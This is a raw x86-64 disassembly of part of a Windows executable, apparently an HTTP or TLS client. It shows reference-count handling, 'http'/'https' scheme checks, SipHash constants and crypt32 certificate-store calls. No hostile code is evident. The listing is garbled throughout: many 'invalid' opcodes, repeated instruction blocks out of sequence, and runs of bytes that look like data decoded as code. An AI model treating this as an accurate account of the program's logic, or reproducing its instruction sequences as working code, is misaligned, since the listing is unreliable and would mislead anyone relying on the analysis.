movzx ebx, byte [r13 + 0x50]
lea rdx, [r13 + 0x28]
mov rax, qword [r13 + 0x10]
adc byte [r13 - 0x75], r9b
sbb byte [r13 - 0x75], r9b
and byte [r8 - 0x73], r9b
mov word [rax + rcx], fs
or al, 0
add bh, bh
invalid
adc byte [r13 - 0x75], r9b
sbb byte [r13 - 0x75], r9b
and byte [r8 - 0x73], r9b
mov word [rax + rcx], fs
or al, 0
add bh, bh
adc byte [rdi], cl
movups xmm0, xmmword [rsp + 0x150]
movups xmm0, xmmword [rsp + 0x150]
movups xmm1, xmmword [rsp + 0x160]
lea rax, [rsp + 0xc08]
or byte [rax + rax], cl
add byte [rdi], cl
adc dword [rax + 0x30], ecx
or byte [rax + rax], cl
add byte [rdi], cl
adc dword [rax + 0x30], ecx
movups xmmword [rax + 0x20], xmm0
jmp 0x14007392e
invalid
invalid
add byte [rax], al
invalid
mov r8, rdx
nop dword [rax]
cmp rcx, rbx
je 0x140072e4e
mov r9, rbx
movzx r10d, byte [rbx - 1]
test r10b, r10b
js 0x140073280
lea rbx, [r9 - 1]
movzx r10d, r10b
invalid
pop rcx
inc dword [rbp + 0xf]
mov dh, 0xd2
invalid
shr bl, cl
imul eax, dword [rbp + 0xf], 0xffffffb6
pop rcx
inc byte [rcx - 0x80]
sti
sar byte [rbp + 0x21], 0x41
and dword [rcx + 0xf], eax
mov dh, 0x79
std
jmp 0x1400732eb
movzx r11d, byte [r9 - 2]
cmp r11b, 0xc0
jge 0x1400732ac
invalid
and dword [rcx + 0xf], eax
mov dh, 0x79
std
movzx edi, byte [r9 - 3]
cmp dil, 0xbf
jg 0x1400732b6
lea rbx, [r9 - 4]
movzx ebp, byte [r9 - 4]
cld
cld
and ebp, 7
shl ebp, 6
and edi, 0x3f
or edi, ebp
jmp 0x1400732bd
lea rbx, [r9 - 2]
and r11d, 0x1f
jrcxz 0x1400732d3
jmp 0x1400732cf
lea rbx, [r9 - 3]
and edi, 0xf
shl edi, 6
and r11d, 0x3f
or r11d, edi
lea rdi, [rsp + 0x150]
shl r11d, 6
shl ebx, 6
and r10b, 0x3f
movzx r10d, r10b
or r10d, r11d
fiadd dword [rcx - 0x7f]
cli
add byte [rax], al
adc dword [rax], eax
fiadd dword [rcx - 0x7f]
cli
add byte [rax], al
adc dword [rax], eax
je 0x140072e4e
cmp r10d, 0x5b
je case.0x14005cd83.82
cmp r10d, 0x5d
je case.0x14005cd83.82
sub r8, rcx
add r8, r9
mov rdx, r8
jmp 0x140072e4e
add rax, rax
lea rbx, [rax + rax*8]
sbb al, 0xc0
mov r13, rbp
jmp 0x14007333e
invalid
and eax, 0x801f0f
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
lea rdx, [rsp + 0xc00]
call fcn.140044c70
sbb ebp, edi
invalid
test al, al
jne 0x14007334e
or al, 0
add al, ch
sbb ebp, edi
sbb ebp, edi
sbb ebp, edi
inc dword [rax + rax*8 - 0x7cb7e58b]
invalid
add rsi, 0x12
add rbx, 0xffffffffffffffee
je 0x140073365
invalid
invalid
cmp byte [rsi], 2
jne 0x140073320
cmp byte [rsi + 1], 0
jne 0x140073334
cmp dword [rsi + 2], edi
jne 0x140073334
invalid
out 0xb0, al
add dword [rax - 0x73], ecx
lea rdi, [rsp + 0x150]
mov rcx, qword [r13]
movsxd rcx, dword [r15 + rcx*4]
invalid
or al, 0x8f
mov al, 1
lea rdi, [rsp + 0x150]
mov rcx, qword [r13]
movsxd rcx, dword [r15 + rcx*4]
invalid
or al, 0x8f
invalid
add rcx, r15
jmp rcx
xor eax, eax
lea rdi, [rsp + 0x150]
mov rcx, qword [r13]
add byte [rcx + 0x63], cl
or al, 0x8f
add byte [rcx + 0x63], cl
or al, 0x8f
add rcx, r15
jmp rcx
xor eax, eax
movabs r14, 0x8000000000000000
lea r15, [0x140177af0]
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x613d8d4c], al
adc byte [r8], r8b
adc byte [rax], al
adc byte [rax], al
lea rdi, [rsp + 0x150]
mov rcx, qword [r13]
mov ecx, dword [rbp]
and al, 0x50
add dword [rax], eax
add byte [rcx - 0x75], cl
mov ecx, dword [rbp]
movsxd rcx, dword [r15 + rcx*4]
mov ecx, dword [rbp]
movsxd rcx, dword [r15 + rcx*4]
add rcx, r15
jmp rcx
test al, al
jne 0x140072ce0
xor al, 0xf9
invalid
movzx eax, byte [rsp + 0x240]
test al, al
je 0x140078380
cmp al, 2
jne 0x140072cc2
invalid
invalid
invalid
mov rax, qword [rsp + 0x248]
cmp qword [rax + 0x10], 4
cmp dword [rax + 0x10], 4
add al, byte [rax]
add byte [rax - 0x7d], cl
invalid
js 0x1400733e0
cmp dword [rax + 0x10], 4
add al, 0xf
test dword [rcx], ecx
stc
invalid
jne 0x140072ce0
mov rax, qword [rax + 8]
cmp dword [rax], 0x70747468
jne 0x140072ce0
push 0xf707474
jo 0x1400733f1
test ecx, edi
clc
invalid
jmp 0x14007318e
test al, al
jne 0x140072ce0
clc
invalid
lea rdx, [r13 + 8]
lea rcx, [rsp + 0x740]
invalid
add byte [rax], al
lea r8, [rsp + 0x240]
test byte [rax + rax*2], ah
add al, byte [rax]
add al, ch
jrcxz 0x140073488
invalid
dec dword [rax - 0x7d]
mov esp, 0x74024
add byte [rdx], al
je 0x140072cec
invalid
test byte [rax + rax*2], ah
add al, byte [rax]
add al, ch
jrcxz 0x140073488
invalid
invalid
jmp 0x140073f95
test al, al
jne 0x140072ce0
movzx eax, byte [rsp + 0x240]
test al, al
ror byte [rdi], 0x84
add byte [r8], r8b
ror byte [rdi], 0x84
add byte [r8], r8b
cmp al, 2
jne 0x140073497
mov rax, qword [rsp + 0x248]
cmp qword [rax + 0x10], 5
jne 0x140072ce0
mov rax, qword [rax + 8]
jmp 0x1400734ac
test al, al
jne 0x140072ce0
movzx eax, byte [rsp + 0x240]
test al, al
je 0x140078380
cmp al, 2
jne 0x1400734c9
mov rax, qword [rsp + 0x248]
mov rbx, qword [rax + 8]
mov rsi, qword [rax + 0x10]
mov qword [rsp + 0x38], r13
mov rdx, qword [r13 + 8]
mov edx, dword [rbp + 8]
cmp qword [rdx + 0x28], 0
jne 0x140073501
jmp 0x14007387f
cmp byte [rsp + 0x241], 0
lea rax, [0x140172317]
je 0x140072ce0
mov ecx, dword [rax]
mov edx, 0x70747468
xor ecx, edx
movzx eax, byte [rax + 4]
xor eax, 0x73
or eax, ecx
jne 0x140072ce0
jmp 0x14007318e
xor esi, esi
cmp byte [rsp + 0x241], 0
sete sil
lea rbx, [0x140172317]
lea rax, [0x140172313]
cmove rbx, rax
xor rsi, 5
mov qword [rsp + 0x38], r13
mov rdx, qword [r13 + 8]
cmp qword [rdx + 0x28], 0
je 0x14007387f
mov r8, qword [rdx + 0x30]
mov r9, qword [rdx + 0x38]
mov r11, r8
movabs rax, 0x736f6d6570736575
xor r11, rax
mov r10, r9
movabs rax, 0x646f72616e646f6d
xor r10, rax
movabs rax, 0x6c7967656e657261
xor r8, rax
movabs rax, 0x7465646279746573
xor r9, rax
mov rax, rsi
xor r12d, r12d
and rax, 0xfffffffffffffff8
je 0x140073593
nop
add r11, r10
rol r10, 0xd
mov rcx, qword [rbx + r12]
xor r10, r11
rol r11, 0x20
xor r9, rcx
add r8, r9
rol r9, 0x10
xor r9, r8
add r11, r9
rol r9, 0x15
add r8, r10
rol r10, 0x11
xor r10, r8
rol r8, 0x20
xor r9, r11
xor r11, rcx
add r12, 8
cmp r12, rax
jb 0x140073550
mov edi, esi
and edi, 7
cmp edi, 4
jb 0x1400735b4
mov r14d, dword [rbx + r12]
mov eax, 4
mov rcx, rax
or rcx, 1
cmp rcx, rdi
jb 0x1400735c5
xor r14d, r14d
xor eax, eax
mov rcx, rax
or rcx, 1
cmp rcx, rdi
jae 0x1400735df
mov byte [rsp + 0xc48], bl
mov qword [rsp + 0xc00], 1
jmp 0x140073941
mov qword [rsp + 0x740], 2
movabs r14, 0x8000000000000000
lea r15, [0x140177af0]
lea rdi, [rsp + 0x150]
mov r13, qword [rsp + 0x38]
jmp 0x140072cec
mov byte [rsp + 0xc48], bl
mov qword [rsp + 0xc00], 0
mov rax, qword [rsp + 0xc40]
mov qword [rsp + 0x780], rax
movzx eax, byte [rsp + 0xc48]
mov byte [rsp + 0x788], al
mov eax, dword [rsp + 0xc49]
mov dword [rsp + 0x789], eax
movzx eax, word [rsp + 0xc4d]
mov word [rsp + 0x78d], ax
movzx eax, byte [rsp + 0xc4f]
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0xc00]
mov rcx, qword [rsp + 0xc08]
movdqu xmm0, xmmword [rsp + 0xc10]
movdqu xmm1, xmmword [rsp + 0xc20]
movups xmm2, xmmword [rsp + 0xc30]
movaps xmmword [rsp + 0x770], xmm2
movdqa xmmword [rsp + 0x760], xmm1
movdqa xmmword [rsp + 0x750], xmm0
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x748], rcx
cmp qword [rsp + 0x740], 2
je 0x140072cec
jmp 0x140073f95
xor edx, edx
mov r8, rax
xor eax, eax
jmp case.0x14005cd83.82
mov rdi, qword [rsp + 0x1170]
lock inc qword [rdi]
jle 0x140078731
mov r14, qword [rsp + 0x1178]
mov rsi, qword [rsp + 0x1180]
lock inc qword [r14]
jle 0x140078731
cmp qword [rsp + 0x1150], 0
je 0x140073a70
mov rcx, qword [rsp + 0x1158]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x78], rax
mov r15d, 1
jmp 0x140073a73
xor r15d, r15d
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx ebx, byte [rsp + 0x116c]
movzx ebp, byte [rsp + 0x116d]
movq xmm9, qword [rsp + 0x1168]
mov r13, qword [rsp + 0x11c0]
lock inc qword [r13]
jle 0x140078731
mov r12, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x48], rsi
movzx eax, byte [rsp + 0x11c8]
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x1190]
mov dword [rsp + 0x80], eax
movzx eax, byte [rsp + 0x11c9]
mov byte [rsp + 0x68], al
movzx eax, byte [rsp + 0x11ca]
mov byte [rsp + 0x34], al
mov r15b, 2
cmp byte [rsp + 0x11b8], 2
je 0x140073b2d
mov rax, qword [rsp + 0x1198]
mov r8, qword [rsp + 0x11a0]
mov r9, qword [rsp + 0x11a8]
lea rcx, [rsp + 0xc00]
lea rdx, [rsp + 0x11b0]
call qword [rax]
movzx r15d, byte [rsp + 0x11b8]
movups xmm0, xmmword [rsp + 0xc00]
movups xmm1, xmmword [rsp + 0xc10]
lea rax, [rsp + 0x4384]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x538
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078763
mov rsi, rax
mov rax, qword [rsp + 0x38]
mov qword [rsi], rax
mov rax, qword [rsp + 0x78]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r12
movd dword [rsi + 0x18], xmm9
mov byte [rsi + 0x1c], bl
mov byte [rsi + 0x1d], bpl
mov qword [rsi + 0x20], rdi
mov qword [rsi + 0x28], r14
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x30], rax
mov rcx, qword [rsp + 0x70]
mov qword [rsi + 0x38], rcx
mov eax, dword [rsp + 0x80]
mov dword [rsi + 0x40], eax
movups xmm0, xmmword [rsp + 0x4380]
movups xmm1, xmmword [rsp + 0x4390]
movups xmmword [rsi + 0x44], xmm0
movups xmmword [rsi + 0x54], xmm1
mov eax, dword [rsp + 0x43a0]
mov dword [rsi + 0x64], eax
mov byte [rsi + 0x68], r15b
mov qword [rsi + 0x70], r13
movzx eax, byte [rsp + 0x58]
mov byte [rsi + 0x78], al
movzx eax, byte [rsp + 0x68]
mov byte [rsi + 0x79], al
movzx eax, byte [rsp + 0x34]
mov byte [rsi + 0x7a], al
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmm1, xmmword [rsp + 0x250]
movaps xmm2, xmmword [rsp + 0x260]
movaps xmm3, xmmword [rsp + 0x270]
movups xmmword [rsi + 0x80], xmm0
movdqu xmmword [rsi + 0x90], xmm1
movups xmmword [rsi + 0xa0], xmm2
movups xmmword [rsi + 0xb0], xmm3
movdqa xmm0, xmmword [rsp + 0x280]
movdqu xmmword [rsi + 0xc0], xmm0
mov rax, qword [rsp + 0x290]
mov qword [rsi + 0xd0], rax
mov word [rsi + 0x250], 0
mov qword [rsi + 0x258], rcx
mov eax, dword [rsp + 0x50]
mov dword [rsi + 0x260], eax
mov rax, rsi
add rax, 0x268
lea rdi, [0x1401430b8]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
mov byte [rax], 0
mov rax, qword [rcx]
lea rcx, [rax - 1]
cmp rax, 2
mov eax, 0
cmovae rax, rcx
cmp rax, 1
lea r15, [0x140177af0]
je 0x140073e70
test rax, rax
jne 0x140073eb2
mov rax, qword [rdx + 0x100]
lock dec qword [rax]
jne 0x140073d90
mov rcx, qword [rdx + 0x100]
call fcn.14004f050
mov rdx, qword [rsp + 0x40]
mov rax, qword [rdx + 0x108]
lock dec qword [rax]
je 0x140073da1
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140073d0a
mov rax, qword [rsp + 0x88]
mov rcx, qword [rax]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rdx + 0xf0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + 0x150]
lock dec qword [rax]
jne 0x140073dd0
mov rcx, qword [rcx + 0x150]
call fcn.140052730
mov rcx, qword [rsp + 0x40]
cmp byte [rcx + 0x148], 2
je 0x140073ddd
mov rax, qword [rcx + 0x128]
mov rdx, qword [rcx + 0x130]
mov rcx, qword [rsp + 0x40]
mov r8, qword [rcx + 0x138]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x90]
cmp byte [rax], 2
jae 0x140073dea
jmp 0x140073e1a
mov rax, qword [rdx + 0x108]
lock dec qword [rax]
jne 0x140073ce9
mov rcx, qword [rdx + 0x108]
mov rdx, qword [rdx + 0x110]
call fcn.140005050
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
jne 0x140073cf4
jmp 0x140073d0a
cmp byte [rcx + 0x148], 2
jne 0x140073d4d
mov rax, qword [rsp + 0x90]
cmp byte [rax], 2
jb 0x140073e1a
mov rbx, qword [rcx + 0x168]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + 0x170]
mov rdx, qword [rcx + 0x178]
mov rcx, qword [rsp + 0x40]
mov r8, qword [rcx + 0x180]
mov rcx, qword [rsp + 0x98]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x190]
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rcx + 0x198]
mov rcx, qword [rsp + 0x40]
mov r8, qword [rcx + 0x1a0]
mov rcx, qword [rsp + 0xb0]
call qword [rax + 0x10]
jmp 0x140073ead
mov rbx, qword [rdx + 0xe8]
mov r14, qword [rdx + 0xf0]
mov rcx, rbx
call qword [r14]
mov rdx, qword [rsp + 0x40]
cmp qword [r14 + 8], 0
je 0x140073eb2
cmp qword [r14 + 0x10], 0x11
jb 0x140073e9b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x40]
mov qword [rdx + 0xe0], 2
mov qword [rdx + 0xe8], rsi
mov qword [rdx + 0xf0], rdi
mov rax, qword [rsp + 0x1170]
lock dec qword [rax]
jne 0x140073ee6
mov rcx, qword [rsp + 0x1170]
call fcn.14004f050
mov rax, qword [rsp + 0x1178]
lock dec qword [rax]
movabs r14, 0x8000000000000000
lea rdi, [rsp + 0x150]
jne 0x140073f1b
mov rcx, qword [rsp + 0x1178]
mov rdx, qword [rsp + 0x1180]
call fcn.140005050
cmp qword [rsp + 0x1150], 0
je 0x140073f34
mov rcx, qword [rsp + 0x1158]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsp + 0x1160]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsp + 0x11c0]
lock dec qword [rax]
jne 0x140073f5f
mov rcx, qword [rsp + 0x11c0]
call fcn.140052730
cmp byte [rsp + 0x11b8], 2
je 0x140072ac0
mov rax, qword [rsp + 0x1198]
mov rdx, qword [rsp + 0x11a0]
mov r8, qword [rsp + 0x11a8]
lea rcx, [rsp + 0x11b0]
call qword [rax + 0x10]
jmp 0x140072ac0
mov rdi, qword [rsp + 0x1170]
lock inc qword [rdi]
jle 0x140078731
mov r14, qword [rsp + 0x1178]
mov r15, qword [rsp + 0x1180]
lock inc qword [r14]
mov rax, qword [rsp + 0x58]
jle 0x140078731
test rax, rax
je 0x140073fe8
mov rcx, qword [rsp + 0x1158]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x80], rax
mov esi, 1
jmp 0x140073fea
xor esi, esi
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r12, rax
movzx ebx, byte [rsp + 0x116c]
movzx ebp, byte [rsp + 0x116d]
movq xmm9, qword [rsp + 0x1168]
mov rax, qword [rsp + 0x68]
lock inc qword [rax]
jle 0x140078731
mov qword [rsp + 0x48], rsi
movzx eax, byte [rsp + 0x11c8]
mov byte [rsp + 0x38], al
movzx eax, byte [rsp + 0x11c9]
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x11ca]
mov byte [rsp + 0x34], al
mov r13b, 2
cmp byte [rsp + 0x11b8], 2
je 0x14007408d
mov rax, qword [rsp + 0x1198]
mov r8, qword [rsp + 0x11a0]
mov r9, qword [rsp + 0x11a8]
lea rcx, [rsp + 0xc00]
lea rdx, [rsp + 0x11b0]
call qword [rax]
movzx r13d, byte [rsp + 0x11b8]
movups xmm0, xmmword [rsp + 0xc00]
movups xmm1, xmmword [rsp + 0xc10]
lea rax, [rsp + 0x4034]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x4cf8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400787f7
mov rsi, rax
mov rax, qword [rsp + 0x48]
mov qword [rsi], rax
mov rax, qword [rsp + 0x80]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r12
movd dword [rsi + 0x18], xmm9
mov byte [rsi + 0x1c], bl
mov byte [rsi + 0x1d], bpl
mov qword [rsi + 0x20], rdi
mov qword [rsi + 0x28], r14
mov qword [rsi + 0x30], r15
mov rdx, qword [rsp + 0x70]
mov qword [rsi + 0x38], rdx
mov ecx, dword [rsp + 0x50]
mov dword [rsi + 0x40], ecx
movups xmm0, xmmword [rsp + 0x4030]
movups xmm1, xmmword [rsp + 0x4040]
movups xmmword [rsi + 0x44], xmm0
movups xmmword [rsi + 0x54], xmm1
mov eax, dword [rsp + 0x4050]
mov dword [rsi + 0x64], eax
mov byte [rsi + 0x68], r13b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 0x70], rax
movzx eax, byte [rsp + 0x38]
mov byte [rsi + 0x78], al
movzx eax, byte [rsp + 0x58]
mov byte [rsi + 0x79], al
movzx eax, byte [rsp + 0x34]
mov byte [rsi + 0x7a], al
movaps xmm0, xmmword [rsp + 0x780]
movups xmmword [rsi + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0x740]
movaps xmm1, xmmword [rsp + 0x750]
movaps xmm2, xmmword [rsp + 0x760]
movaps xmm3, xmmword [rsp + 0x770]
movups xmmword [rsi + 0xb0], xmm3
movups xmmword [rsi + 0xa0], xmm2
movups xmmword [rsi + 0x90], xmm1
movups xmmword [rsi + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmm1, xmmword [rsp + 0x250]
movaps xmm2, xmmword [rsp + 0x260]
movaps xmm3, xmmword [rsp + 0x270]
movups xmmword [rsi + 0xd0], xmm0
movdqu xmmword [rsi + 0xe0], xmm1
movups xmmword [rsi + 0xf0], xmm2
movups xmmword [rsi + 0x100], xmm3
movdqa xmm0, xmmword [rsp + 0x280]
movdqu xmmword [rsi + 0x110], xmm0
mov rax, qword [rsp + 0x290]
mov qword [rsi + 0x120], rax
mov byte [rsi + 0x2d2], 0
mov qword [rsi + 0x2638], rdx
mov dword [rsi + 0x2640], ecx
mov rax, rsi
add rax, 0x2648
lea rdi, [0x1401430d8]
jmp 0x140073c7b
cmp rax, 1
jne 0x14007874b
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0xe8]
mov rax, qword [rax + 0xf0]
lea rcx, [rsp + 0x5c8]
mov r8, qword [rsp + 0x228]
call qword [rax + 0x18]
movzx ebp, byte [rsp + 0x5d9]
cmp bpl, 3
je 0x140077d8a
mov r12, qword [rsp + 0x5c8]
mov rdi, qword [rsp + 0x5d0]
movzx r15d, byte [rsp + 0x5d8]
lea rcx, [rsp + 0x5da]
mov eax, dword [rcx]
mov dword [rsp + 0x624], eax
movzx eax, word [rcx + 4]
mov word [rsp + 0x628], ax
mov rsi, qword [rsp + 0x60]
cmp dword [rsi], 4
je 0x140078898
mov rcx, rsi
call fcn.140071c40
mov qword [rsi], 4
cmp bpl, 2
jne 0x140074300
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400788b7
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 7
mov qword [rax], r12
mov qword [rax + 8], rdi
mov r12, rax
jmp 0x14007431e
movzx eax, word [rsp + 0x628]
mov word [rsp + 0x1154], ax
mov eax, dword [rsp + 0x624]
mov dword [rsp + 0x1150], eax
mov rcx, qword [rsp + 0x40]
movzx eax, word [rsp + 0x1154]
mov word [rsp + 0x1b4], ax
mov eax, dword [rsp + 0x1150]
mov dword [rsp + 0x1b0], eax
mov rsi, qword [rcx]
cmp rsi, 2
je 0x140078874
mov r8d, 0xd8
lea rcx, [rsp + 0x1150]
mov rdx, qword [rsp + 0xa0]
call fcn.140106250
mov rax, qword [rsp + 0x60]
cmp dword [rax], 4
je 0x14007437d
mov rcx, qword [rsp + 0x60]
call fcn.140071c40
mov r8d, 0xd8
lea rbx, [rsp + 0x20f0]
mov rcx, rbx
lea rdx, [rsp + 0x1150]
call fcn.140106250
add byte [rax - 0x75], cl
and al, 0x40
mov qword [rax], 2
mov qword [rsp + 0x3090], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0x3098]
mov rdx, rbx
call fcn.140106250
cmp bpl, 2
je 0x140074978
mov qword [rsp + 0x1150], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0x1158]
mov rdx, rbx
call fcn.140106250
lea rsi, [rsp + 0xc00]
mov rcx, rsi
mov rdx, r12
call qword [rdi + 0x50]
mov byte [rsp + 0xc19], r15b
mov rbx, qword [rsp + 0xc00]
mov rax, qword [rsp + 0xc08]
mov qword [rsp + 0x38], rax
mov r13, qword [rsp + 0xc10]
movzx eax, byte [rsp + 0xc18]
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0xc08]
mov eax, dword [rcx + 0x11]
mov ecx, dword [rcx + 0x14]
mov dword [rsp + 0x740], eax
mov dword [rsp + 0x743], ecx
test bpl, bpl
je 0x140074508
mov rcx, rsi
mov rdx, r12
call qword [rdi + 0x78]
movabs rax, 0x8000000000000001
cmp qword [rsp + 0xc00], rax
je 0x140074508
test rbx, rbx
je 0x1400744c6
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400788d5
mov rcx, qword [rsp + 0xc10]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rsp + 0xc00]
movups xmmword [rax], xmm0
mov qword [rax + 0x18], rbx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x20], rcx
mov rbx, rax
lea rax, [0x140140570]
jmp 0x140074503
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400788e4
mov rbx, rax
mov rax, qword [rsp + 0xc10]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0xc00]
movups xmmword [rbx], xmm0
lea rax, [0x14013c510]
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x740]
mov ecx, dword [rsp + 0x743]
mov dword [rsp + 0x1e3], ecx
mov dword [rsp + 0x1e0], eax
movzx eax, byte [rsp + 0x1228]
movzx ecx, byte [rsp + 0x48]
or cl, al
jne 0x140074700
lea rcx, [rsp + 0x11c8]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0xc30], rax
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm1, xmmword [rcx + 0x20]
movups xmm2, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0xc20], xmm2
movdqa xmmword [rsp + 0xc10], xmm1
movdqa xmmword [rsp + 0xc00], xmm0
mov rdx, qword [rsp + 0x1210]
lea rcx, [rsp + 0x740]
lea rsi, [rsp + 0xc00]
mov r8, rsi
mov r9b, 1
call fcn.140078cf0
mov rcx, rsi
call fcn.140071d30
cmp byte [rsp + 0x740], 3
jne 0x140074760
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400788b7
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
mov r8d, 0x17
mov rcx, rax
lea rdx, [0x14014026d]
call fcn.140065ca0
test rbx, rbx
lea r15, [0x140177af0]
mov rbp, qword [rsp + 0x38]
je 0x14007462c
mov rcx, rbx
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x14007462c
cmp qword [rbp + 0x10], 0x11
jb 0x14007461a
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [r13]
jne 0x14007463b
mov rcx, r13
call fcn.14004f050
mov rcx, r12
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140074665
cmp qword [rdi + 0x10], 0x11
jb 0x140074653
mov r12, qword [r12 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1210]
test rax, rax
mov rcx, qword [rsp + 0x40]
je 0x14007468f
lock dec qword [rax]
jne 0x14007468f
lea rcx, [rsp + 0x1210]
call fcn.140066500
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x11b8]
test rax, rax
lea rdi, [rsp + 0x150]
je 0x1400746c4
lock dec qword [rax]
jne 0x1400746c4
mov rcx, qword [rsp + 0x11b8]
mov rdx, qword [rsp + 0x11c0]
call fcn.140005050
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x1218]
mov bl, 2
test rax, rax
je 0x140072a60
lock dec qword [rax]
jne 0x140072a60
mov rcx, qword [rsp + 0x1218]
mov rdx, qword [rsp + 0x1220]
call fcn.140005050
mov rcx, qword [rsp + 0x40]
jmp 0x140072a60
mov qword [rsp + 0x50], r13
lea rdx, [rsp + 0x11c8]
mov rcx, qword [rdx + 0x40]
mov qword [rsp + 0x3d0], rcx
movups xmm0, xmmword [rdx + 0x10]
movups xmm1, xmmword [rdx + 0x20]
movups xmm2, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x3c0], xmm2
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
test al, al
jne case.0x140051867.100
cmp byte [rsp + 0x48], 0
je case.0x140051867.100
mov r13, r12
movzx r14d, byte [rsp + 0x48]
xor r14b, 1
jmp 0x1400747b3
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x3d0], rax
movups xmm0, xmmword [rsp + 0x740]
movups xmm1, xmmword [rsp + 0x750]
movups xmm2, xmmword [rsp + 0x760]
movaps xmmword [rsp + 0x3c0], xmm2
rol byte [rbx], 0
add byte [rdi], cl
sub dword [rsp + 0x3b0], ecx
rol byte [rbx], 0
add byte [rdi], cl
sub dword [rsp + 0x3b0], ecx
movaps xmmword [rsp + 0x3a0], xmm0
mov r13, r12
mov byte [rsp + 0x11d0], 1
mov r14b, 1
movdqu xmm9, xmmword [rsp + 0x1218]
mov r12, qword [rsp + 0x1210]
movzx eax, byte [0x140182310]
mov edx, 0x440
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400788c6
mov rsi, rax
mov r8d, 0x88
mov rcx, rax
lea rdx, [rsp + 0x1150]
call fcn.140106250
mov qword [rsi + 0x88], r13
mov qword [rsi + 0x90], rdi
add byte [rax], al
add byte [rax + rcx*4 - 0x42], al
cwde
add byte [rax], al
add byte [rax - 0x78], al
scasb al, byte [rdi]
cdq
add byte [rax], al
add byte [rbx + 0x1b02484], cl
add byte [rax], al
add byte [rax], al
add byte [rax + rcx*4 - 0x42], al
cwde
add byte [rax], al
add byte [rax - 0x78], al
scasb al, byte [rdi]
cdq
add byte [rax], al
